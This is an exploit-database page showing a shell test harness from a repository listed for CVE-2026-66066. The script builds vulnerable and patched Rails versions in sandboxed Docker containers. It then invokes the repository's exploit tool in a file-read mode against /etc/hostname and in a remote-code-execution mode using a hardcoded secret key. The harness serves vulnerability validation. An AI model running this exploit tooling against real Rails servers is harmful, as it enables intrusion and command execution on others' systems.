Exploit databaseDownload repository ZIP
GH-011ce26cb8990657315890da7bdbe4bc
0xsha/kindarails2shell
Sources for CVE-2026-66066
7 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
0xsha/kindarails2shellRevision 59d8c71c44db
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/matrix.sh
Shell · 3,438 bytes#!/usr/bin/env bash
# Build each supported Rails version and assert the expected CVE behavior.
# Usage: ./lab/matrix.sh [VERSION[:VULN|PATCHED]]
set -uo pipefail
LAB_DIR="$(cd "$(dirname "$0")" && pwd)"
ROOT="$(cd "$LAB_DIR/.." && pwd)"
SKB="0f1e2d3c4b5a69788796a5b4c3d2e1f00f1e2d3c4b5a69788796a5b4c3d2e1f0"
PORT="${LAB_PORT:-3010}"
CONTAINER="kr2s-matrix-$$"
FAILURES=0
VERSIONS=(
"7.2.3.1:VULN"
"7.2.3.2:PATCHED"
"8.0.5:VULN"
"8.0.5.1:PATCHED"
"8.1.3:VULN"
"8.1.3.1:PATCHED"
)
cleanup() {
docker rm -f "$CONTAINER" >/dev/null 2>&1 || true
}
trap cleanup EXIT INT TERM
if [ "$#" -gt 1 ]; then
echo "usage: $0 [VERSION[:VULN|PATCHED]]" >&2
exit 2
fi
if [ "$#" -eq 1 ]; then
case "$1" in
*:VULN|*:PATCHED) VERSIONS=("$1") ;;
7.2.3.2|8.0.5.1|8.1.3.1) VERSIONS=("$1:PATCHED") ;;
*) VERSIONS=("$1:VULN") ;;
esac
fi
printf '%-12s %-9s %-12s %-12s %-7s\n' VERSION EXPECT READ RCE RESULT
printf '%-12s %-9s %-12s %-12s %-7s\n' ------- ------ ---- --- ------
for entry in "${VERSIONS[@]}"; do
version="${entry%%:*}"
expected="${entry##*:}"
read_result="BUILD-FAIL"
rce_result="not-run"
result="FAIL"
cleanup
if ! RAILS_VERSION="$version" docker compose \
--project-directory "$LAB_DIR" \
-f "$LAB_DIR/docker-compose.yml" build rails >/dev/null; then
printf '%-12s %-9s %-12s %-12s %-7s\n' \
"$version" "$expected" "$read_result" "$rce_result" "$result"
FAILURES=$((FAILURES + 1))
continue
fi
if ! docker run -d --name "$CONTAINER" \
--publish "127.0.0.1:${PORT}:3000" \
--cap-drop ALL --security-opt no-new-privileges:true \
--pids-limit 256 --memory 1536m --cpus 2 \
-e "LAB_HOST=127.0.0.1:${PORT}" \
-e "SECRET_KEY_BASE=${SKB}" \
"kr2s-rails:${version}" >/dev/null; then
printf '%-12s %-9s %-12s %-12s %-7s\n' \
"$version" "$expected" "START-FAIL" "$rce_result" "$result"
FAILURES=$((FAILURES + 1))
continue
fi
ready=false
for _ in $(seq 1 60); do
if curl --fail --silent --max-time 2 \
"http://127.0.0.1:${PORT}/" >/dev/null; then
ready=true
break
fi
sleep 1
done
if [ "$ready" != true ]; then
printf '%-12s %-9s %-12s %-12s %-7s\n' \
"$version" "$expected" "BOOT-FAIL" "$rce_result" "$result"
docker logs "$CONTAINER" >&2
FAILURES=$((FAILURES + 1))
continue
fi
read_output="$(
python3 "$ROOT/kr2s.py" read "http://127.0.0.1:${PORT}" \
/etc/hostname --size 64 2>/dev/null || true
)"
if [ -n "$(printf '%s' "$read_output" | tr -d '\000[:space:]')" ]; then
read_result="READ-OK"
else
read_result="blocked"
fi
if [ "$expected" = "VULN" ]; then
rce_output="$(
python3 "$ROOT/kr2s.py" rce "http://127.0.0.1:${PORT}" \
"printf KR2S_RCE_OK" --skb "$SKB" 2>/dev/null || true
)"
if printf '%s' "$rce_output" | grep -q "KR2S_RCE_OK"; then
rce_result="RCE-OK"
else
rce_result="failed"
fi
if [ "$read_result" = "READ-OK" ] && [ "$rce_result" = "RCE-OK" ]; then
result="PASS"
fi
else
rce_result="not-tested"
if [ "$read_result" = "blocked" ]; then
result="PASS"
fi
fi
printf '%-12s %-9s %-12s %-12s %-7s\n' \
"$version" "$expected" "$read_result" "$rce_result" "$result"
if [ "$result" != "PASS" ]; then
FAILURES=$((FAILURES + 1))
fi
done
if [ "$FAILURES" -ne 0 ]; then
echo "$FAILURES matrix assertion(s) failed" >&2
exit 1
fi